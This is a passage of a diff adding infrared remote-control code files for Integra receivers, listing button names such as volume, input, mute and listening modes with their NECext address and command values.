+# +name: DSP_- +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 19 00 00 00 +# +name: <_DSP +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 19 00 00 00 +# +name: AUDIO_INPUT_- +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 1B 00 00 00 +# +name: INPUT_+ +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 1C 00 00 00 +# +name: INPUT_- +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 1D 00 00 00 +# +name: INPUT_> +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 1E 00 00 00 +# +name: INPUT_+ +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 1E 00 00 00 +# +name: INPUT_SELECT_UP +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 1E 00 00 00 +# +name: INPUT_SELECTOR_UP +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 1E 00 00 00 +# +name: INPUT_< +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 1F 00 00 00 +# +name: INPUT_- +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 1F 00 00 00 +# +name: INPUT_SELECT_DOWN +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 1F 00 00 00 +# +name: INPUT_SELECTOR_DN +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 1F 00 00 00 +# +name: LEVEL_+ +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 42 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 42 00 00 00 +# +name: CHANNEL_LEVEL_+ +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 42 00 00 00 +# +name: 6_UP +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 42 00 00 00 +# +name: LEVEL_UP +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 42 00 00 00 +# +name: SPK_LEVEL_UP +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 42 00 00 00 +# +name: LEVEL+ +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 42 00 00 00 +# +name: LEV_UP +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 42 00 00 00 +# +name: +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 42 00 00 00 +# +name: SPEAKER_LEVEL_DN +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 42 00 00 00 +# +name: SPEAKER_LEVEL_UP +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 42 00 00 00 +# +name: CH_LEVEL_+ +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 42 00 00 00 +# +name: LEVEL_UP +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 42 00 00 00 +# +name: +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 42 00 00 00 +# +name: LEV_+ +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 42 00 00 00 +# +name: LEVEL_- +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 43 00 00 00 +# +name: CHANNEL_LEVEL_- +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 43 00 00 00 +# +name: 9_DOWN +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 43 00 00 00 +# +name: LEVEL_DOWN +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 43 00 00 00 +# +name: SPK_LEVEL_DOWN +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 43 00 00 00 +# +name: LEVEL- +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 43 00 00 00 +# +name: LEV_DN +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 43 00 00 00 +# +name: +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 43 00 00 00 +# +name: SUB_LEVEL_CONTROL +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 43 00 00 00 +# +name: CH_LEVEL_- +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 43 00 00 00 +# +name: ENT +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 43 00 00 00 +# +name: LEVEL_DOWN +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 43 00 00 00 +# +name: +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 43 00 00 00 +# +name: LEV_- +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 43 00 00 00 +# +name: CH_SEL/TOP_MENU +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 44 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 44 00 00 00 +# +name: CHANNEL_SELECT +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 44 00 00 00 +# +name: 3_CH_SET +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 44 00 00 00 +# +name: SPK_CHANNEL_SELECT +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 44 00 00 00 +# +name: CH_SEL./TOP_MENU +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 44 00 00 00 +# +name: CH_SEL_TOP_MENU +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 44 00 00 00 +# +name: CH_SEL +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 44 00 00 00 +# +name: CH_SELECT +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 44 00 00 00 +# +name: CH_SEL +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 44 00 00 00 +# +name: LISTEN_MODE_DOWN +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 45 00 00 00 +# +name: MODE_LISTEN_MODEDOWN +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 45 00 00 00 +# +name: LISTENING_MODE_- +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 45 00 00 00 +# +name: LISTENING_MODE_DN +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 45 00 00 00 +# +name: MODE:_LEFT +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 45 00 00 00 +# +name: STANDBY +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 47 00 00 00 +# +name: STANDY +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 47 00 00 00 +# +name: OFF +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 47 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 47 00 00 00 +# +name: +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 47 00 00 00 +# +name: STANDBY_(OFF) +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 47 00 00 00 +# +name: RECIEVER_OFF +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 47 00 00 00 +# +name: +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 47 00 00 00 +# +name: TIMER +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 48 00 00 00 +# +name: STEREO +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 4C 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 4C 00 00 00 +# +name: MODE:_STEREO +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 4C 00 00 00 +# +name: MODE_STEREO +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 4C 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 4C 00 00 00 +# +name: LM_STEREO +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 4C 00 00 00 +# +name: 3_/_STEREO +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 4C 00 00 00 +# +name: 1_(STEREO) +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 4C 00 00 00 +# +name: STEREO +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 4C 00 00 00 +# +name: SURR +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 4D 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 4D 00 00 00 +# +name: SURROUND +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 4D 00 00 00 +# +name: MODE:_SURR_TOGGLE +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 4D 00 00 00 +# +name: MODE_SURR_WRAP_UP +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 4D 00 00 00 +# +name: SURROUND_-_WRAPAROUN +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 4D 00 00 00 +# +name: 4_/_SURR +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 4D 00 00 00 +# +name: MODE_SURROUND +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 4D 00 00 00 +# +name: 4_(DPL) +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 4D 00 00 00 +# +name: MODE:_STEREO +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 4D 00 00 00 +# +name: MODE:_SURROUND +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 4D 00 00 00 +# +name: SURROUND +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 4D 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 4E 00 00 00 +# +name: THX +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 4E 00 00 00 +# +name: MODE_THX_WRAP_UP +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 4E 00 00 00 +# +name: 5_/_THX +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 4E 00 00 00 +# +name: MODE_THX +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 4E 00 00 00 +# +name: 5_(THX) +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 4E 00 00 00 +# +name: MODE:_THX +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 4E 00 00 00 +# +name: THX +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 4E 00 00 00 +# +name: ALL_ST +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 52 00 00 00 +# +name: MODE:_ALL_CH_STEREO +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 52 00 00 00 +# +name: MODE_ALL_CH_STEREO +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 52 00 00 00 +# +name: ALL_5_STEREO +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 52 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 52 00 00 00 +# +name: ALL_STEREO +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 52 00 00 00 +# +name: 6_/_ALL_ST. +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 52 00 00 00 +# +name: ALL_CH_STEREO +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 52 00 00 00 +# +name: MODE:_ALL_ST +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 52 00 00 00 +# +name: ALL_CHANNEL_STEREO +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 52 00 00 00 +# +name: ALL_ST +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 52 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 53 00 00 00 +# +name: OSD_MENU +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 53 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 53 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 54 00 00 00 +# +name: EXIT/RETURN +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 54 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 54 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 54 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 55 00 00 00 +# +name: DISPLAY/DVD_SET +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 55 00 00 00 +# +name: DISPLAY_MODE +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 55 00 00 00 +# +name: DIMMER +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 55 00 00 00 +# +name: +10_/_DISPLAY +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 55 00 00 00 +# +name: PREV_CH +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 55 00 00 00 +# +name: MUTE_ON +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 84 00 00 00 +# +name: MT-ON +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 84 00 00 00 +# +name: +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 84 00 00 00 +# +name: MUTING_ON +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 84 00 00 00 +# +name: MUTE_OFF +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 85 00 00 00 +# +name: MT-OFF +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 85 00 00 00 +# +name: +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 85 00 00 00 +# +name: MUTING_OFF +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 85 00 00 00 +# +name: SPEAKER_LAYOUT +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 88 00 00 00 +# +name: SP_A/B +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 88 00 00 00 +# +name: INPUT:_DVD +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 8C 00 00 00 +# +name: DVD +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 8C 00 00 00 +# +name: INPUT_DVD/BD +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 8C 00 00 00 +# +name: IN_DVD +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 8C 00 00 00 +# +name: +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 8C 00 00 00 +# +name: DVD +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 8C 00 00 00 +# +name: +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 8C 00 00 00 +# +name: INPUT_DVD +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 8C 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 8D 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 8E 00 00 00 +# +name: >_NEXT +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 8F 00 00 00 +# +name: <_PREVIOUS +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 90 00 00 00 +# +name: >>_FWD +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 91 00 00 00 +# +name: <<_REW +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 92 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 93 00 00 00 +# +name: LAST_M +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 94 00 00 00 +# +name: SUBTITLE +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 96 00 00 00 +# +name: SETUP_TV_INPUT +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 97 00 00 00 +# +name: TOP_MENU +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 98 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 99 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 9A 00 00 00 +# +name: CURSOR_DN +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 9B 00 00 00 +# +name: CURSOR_LF +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 9C 00 00 00 +# +name: CURSOR_RT +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 9D 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 9E 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 9F 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: CB 00 00 00 +# +name: STANDBY/ON_TOGGLE +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: CB 00 00 00 +# +name: POWER_ON/STANDBY +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: CB 00 00 00 +# +name: POWER_TOGGLE +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: CB 00 00 00 +# +name: INPUT_HIDDEN_1 +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: CD 00 00 00 +# +name: INPUT_HIDDEN_2 +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: CE 00 00 00 +# +name: INPUT_HIDDEN_3 +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: CF 00 00 00 +# +name: DOLBY +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: D0 00 00 00 +# +name: MODE_DOLBY +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: D0 00 00 00 +# +name: DTS_-_WRAPAROUND +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: D1 00 00 00 +# +name: MONO +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: D1 00 00 00 +# +name: DTS +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: D1 00 00 00 +# +name: MODE_DTS +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: D1 00 00 00 +# +name: HDMI_OUT +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: D2 00 00 00 +# +name: PURE_A +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: D3 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: D3 00 00 00 +# +name: PURE_AUDIO +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: D3 00 00 00 +# +name: 1_/_PURE_A +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: D3 00 00 00 +# +name: PURE +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: D3 00 00 00 +# +name: MODE_PURE_AUDIO +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: D3 00 00 00 +# +name: MODE:_REPEAT +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: D3 00 00 00 +# +name: PURE_AUDIO +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: D3 00 00 00 +# +name: AUDIO_ADJUST +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: D4 00 00 00 +# +name: SETUP_AUDIO +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: D4 00 00 00 +# +name: AUDIO_ADJ. +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: D4 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: D4 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: D4 00 00 00 +# +name: ZONE_2_OFF +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: D5 00 00 00 +# +name: CINE_FLTR +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: D6 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: D6 00 00 00 +# +name: RE-EQ +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: D6 00 00 00 +# +name: RE-EQ/CINEMA +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: D6 00 00 00 +# +name: AUDYSSEY_2EQ_WRAP +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: D6 00 00 00 +# +name: RE-EQ/CINEMA_WRAP +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: D6 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: D6 00 00 00 +# +name: 9_/_RE-EQ +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: D6 00 00 00 +# +name: CINE +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: D6 00 00 00 +# +name: RE_EQ +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: D6 00 00 00 +# +name: RE-EQ_CINEMA +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: D6 00 00 00 +# +name: RE-EQ_/_CINEMA +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: D6 00 00 00 +# +name: RE-EQ_/_HDD +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: D6 00 00 00 +# +name: RE_EQ +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: D6 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: D7 00 00 00 +# +name: LATE_NIGHT +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: D7 00 00 00 +# +name: LATE_NIGHT_STATE +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: D7 00 00 00 +# +name: LATE_NIGHT_WRAP +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: D7 00 00 00 +# +name: L_NIGHT +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: D7 00 00 00 +# +name: LATE_NITE +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: D7 00 00 00 +# +name: OPEN_/_CLOSE +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: D8 00 00 00 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: D8 00 00 00 +# +name: AUDIO_SEL/A +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: D9 00 00 00 +# +name: AUDIO_SELECT +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: D9 00 00 00 +# +name: AUDIO_SELECT_WRAP +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: D9 00 00 00 +# +name: AUDIO_SEL +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: D9 00 00 00 +# +name: AUDIO_SELECTOR +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: D9 00 00 00 +# +name: 7_IPM +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: DA 00 00 00 +# +name: 1_SP_SETUP +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: DB 00 00 00 +# +name: T-D/ST +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: DC 00 00 00 +# +name: MODE:_THTR_DIMENSION +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: DC 00 00 00 +# +name: MODE_THTR_DIMENSION +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: DC 00 00 00 +# +name: THEATREDIMENSIONAL +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: DC 00 00 00 +# +name: 8_T-D_SETUP +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: DD 00 00 00 +# +name: 4_SW_MODE +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: DE 00 00 00 +# +name: SUB_LEVEL_CONTROL +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: DE 00 00 00 +# +name: SPK_SUB_LVL_CONTROL +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: DE 00 00 00 +# +name: SUBWOOFER_LEVEL +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: DE 00 00 00 +# +name: 5_DISTANCE +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: DF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Integra/Receiver/210,109.ir b/assets/resources/infrared/_CSV-IRDB_/Integra/Receiver/210,109.ir new file mode 100644 index 000000000..0f01f2bab --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Integra/Receiver/210,109.ir @@ -0,0 +1,2180 @@ +Filetype: IR signals file +Version: 1 +# +name: TUNER_PRESET_+ +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 00 00 00 00 +# +name: CH+_TUNE_STEP/SL +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 00 00 00 00 +# +name: PRESET_> +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 00 00 00 00 +# +name: PRESET_UP +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 00 00 00 00 +# +name: TUNE_PRESET_UP +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 00 00 00 00 +# +name: CHANNEL_UP +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 00 00 00 00 +# +name: CH_+ +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 00 00 00 00 +# +name: XM_PRESET_UP +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 00 00 00 00 +# +name: CH+ +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 00 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 00 00 00 00 +# +name: CH_UP +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 00 00 00 00 +# +name: PRESET_+ +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 00 00 00 00 +# +name: +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 00 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 00 00 00 00 +# +name: CH_UP +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 00 00 00 00 +# +name: +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 00 00 00 00 +# +name: CH/DISC/ALBUM_+ +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 00 00 00 00 +# +name: CHAN_+ +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 00 00 00 00 +# +name: TUNER_PRESET_- +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 01 00 00 00 +# +name: CH-_TUNE_STEP/SL +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 01 00 00 00 +# +name: PRESET_< +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 01 00 00 00 +# +name: PRESET_DOWN +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 01 00 00 00 +# +name: TUNE_PRESET_DOWN +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 01 00 00 00 +# +name: CHANNEL_DOWN +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 01 00 00 00 +# +name: CH_- +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 01 00 00 00 +# +name: XM_PRESET_DOWN +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 01 00 00 00 +# +name: CH- +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 01 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 01 00 00 00 +# +name: CH_DN +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 01 00 00 00 +# +name: PRESET_- +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 01 00 00 00 +# +name: +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 01 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 01 00 00 00 +# +name: CH_DOWN +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 01 00 00 00 +# +name: +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 01 00 00 00 +# +name: CH/DISC/ALBUM_- +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 01 00 00 00 +# +name: CHAN_- +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 01 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 02 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 02 00 00 00 +# +name: VOLUME_UP +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 02 00 00 00 +# +name: VOL_UP +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 02 00 00 00 +# +name: +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 02 00 00 00 +# +name: VOL_+ +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 02 00 00 00 +# +name: +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 02 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 03 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 03 00 00 00 +# +name: VOLUME_DOWN +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 03 00 00 00 +# +name: VOL_DN +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 03 00 00 00 +# +name: +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 03 00 00 00 +# +name: VOL_- +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 03 00 00 00 +# +name: +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 03 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 04 00 00 00 +# +name: ON +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 04 00 00 00 +# +name: +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 04 00 00 00 +# +name: +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 04 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 04 00 00 00 +# +name: RECIEVER_ON +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 04 00 00 00 +# +name: RCVR_ON +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 04 00 00 00 +# +name: MUTING/M +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 05 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 05 00 00 00 +# +name: MUTING +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 05 00 00 00 +# +name: MUTE_TOGGLE +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 05 00 00 00 +# +name: VOLUME_MUTE +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 05 00 00 00 +# +name: +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 05 00 00 00 +# +name: 